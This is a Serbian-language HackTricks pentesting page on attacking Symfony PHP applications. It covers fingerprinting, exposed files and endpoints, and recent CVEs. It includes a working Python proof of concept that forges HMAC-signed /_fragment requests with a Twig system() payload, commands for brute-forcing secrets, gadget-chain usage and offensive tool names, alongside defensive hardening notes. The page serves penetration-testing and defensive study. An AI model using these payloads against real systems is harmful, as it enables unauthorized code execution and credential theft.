Symfony

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Symfony je jedan od najčešće korišćenih PHP okvira i redovno se pojavljuje u procenama ciljeva preduzeća, e-trgovine i CMS-a (Drupal, Shopware, Ibexa, OroCRM … svi ugrađuju Symfony komponente). Ova stranica prikuplja ofanzivne savete, uobičajene greške u konfiguraciji i nedavne ranjivosti koje treba da imate na svojoj listi kada otkrijete Symfony aplikaciju.

Istorijska napomena: Veliki deo ekosistema još uvek koristi 5.4 LTS granu (EOL novembar 2025). Uvek proverite tačnu minor verziju jer mnoge sigurnosne preporuke iz 2023-2025. godine ispravljene su samo u zakrpama (npr. 5.4.46 → 5.4.50).


Recon & Enumeration

Finger-printing

  • HTTP odgovori: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link ili kolačići koji počinju sa sf_redirect, sf_session, MOCKSESSID.
  • Curenje izvornog koda (composer.json, composer.lock, /vendor/…) često otkriva tačnu verziju:
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Javne rute koje postoje samo na Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (lepe stranice grešaka)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith ili ffuf/feroxbuster liste reči: symfony.txt → tražite /_fragment, /_profiler, .env, .htaccess.

Zanimljive datoteke & krajnje tačke

PutanjaZašto je važna
/.env, /.env.local, /.env.prodČesto pogrešno raspoređene → curenje APP_SECRET, DB kredencijali, SMTP, AWS ključevi
/.git, .svn, .hgOtkriće izvora → kredencijali + poslovna logika
/var/log/*.log, /log/dev.logPogrešna konfiguracija web-root-a otkriva stack-traces
/_profilerPuna istorija zahteva, konfiguracija, servisni kontejner, APP_SECRET (≤ 3.4)
/_fragmentUlazna tačka koju koristi ESI/HInclude. Zloupotreba moguća kada znate APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE ako je dostupan (CVE-2017-9841)
/index.php/_error/{code}Finger-print & ponekad curenje izuzetaka

Visoko uticajne ranjivosti (2023-2025)

1. Otkriće APP_SECRET ➜ RCE putem /_fragment (poznato kao “secret-fragment”)

  • CVE-2019-18889 prvobitno, ali još uvek se pojavljuje na modernim ciljevima kada je debug ostavljen uključen ili je .env izložen.
  • Kada znate 32-znamenkasti APP_SECRET, kreirajte HMAC token i zloupotrebite unutrašnji render() kontroler da izvršite proizvoljni Twig:
python
# PoC – zahteva tajnu
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE u Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Odličan članak i skripta za eksploataciju: Ambionics blog (linkovan u Referencama).

2. Windows Process Hijack – CVE-2024-51736

  • Process komponenta pretražuje trenutni radni direktorijum pre PATH na Windows-u. Napadač koji može da otpremi tar.exe, cmd.exe, itd. u pisiv web-root i pokrene Process (npr. ekstrakcija datoteka, generisanje PDF-a) dobija izvršenje komandi.
  • Ispravljeno u 5.4.50, 6.4.14, 7.1.7.

3. Session-Fixation – CVE-2023-46733

  • Autentifikacioni čuvar ponovo koristi postojeći ID sesije nakon prijave. Ako napadač postavi kolačić pre nego što žrtva autentifikuje, preuzima nalog nakon prijave.

4. Twig sandbox XSS – CVE-2023-46734

  • U aplikacijama koje izlažu korisnički kontrolisane šablone (admin CMS, graditelj e-pošte) nl2br filter može biti zloupotrebljen da zaobiđe sandbox i injektuje JS.

5. Symfony 1 gadget lanci (još uvek se nalaze u nasleđenim aplikacijama)

  • phpggc symfony/1 system id proizvodi Phar payload koji pokreće RCE kada se desi unserialize() na klasama kao što su sfNamespacedParameterHolder. Proverite krajnje tačke za otpremu datoteka i phar:// omotače.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Izračunajte HMAC token za /_fragment

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce slabe APP_SECRET

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE putem izloženog Symfony Console

Ako je bin/console dostupan putem php-fpm ili direktnog CLI upload-a:

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Koristite deserialization gadgets unutar direktorijuma keša ili napišite zloćudni Twig šablon koji će biti izvršen pri sledećem zahtevu.


Odbrambene napomene

  1. Nikada ne postavljajte debug (APP_ENV=dev, APP_DEBUG=1) u produkciju; blokirajte /app_dev.php, /_profiler, /_wdt u konfiguraciji veb servera.
  2. Čuvajte tajne u env varijablama ili vault/secrets.local.php, nikada u datotekama dostupnim kroz dokument-root.
  3. Sprovodite upravljanje zakrpama – prijavite se na Symfony bezbednosne obaveštenja i održavajte barem LTS nivo zakrpa.
  4. Ako radite na Windows-u, odmah se nadogradite da biste ublažili CVE-2024-51736 ili dodajte open_basedir/disable_functions odbranu u dubini.

Korisni ofanzivni alati

  • ambionics/symfony-exploits – secret-fragment RCE, otkrivanje ruta debagera.
  • phpggc – Gotove lančane gadgete za Symfony 1 i 2.
  • sf-encoder – mali pomoćnik za izračunavanje _fragment HMAC (Go implementacija).

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks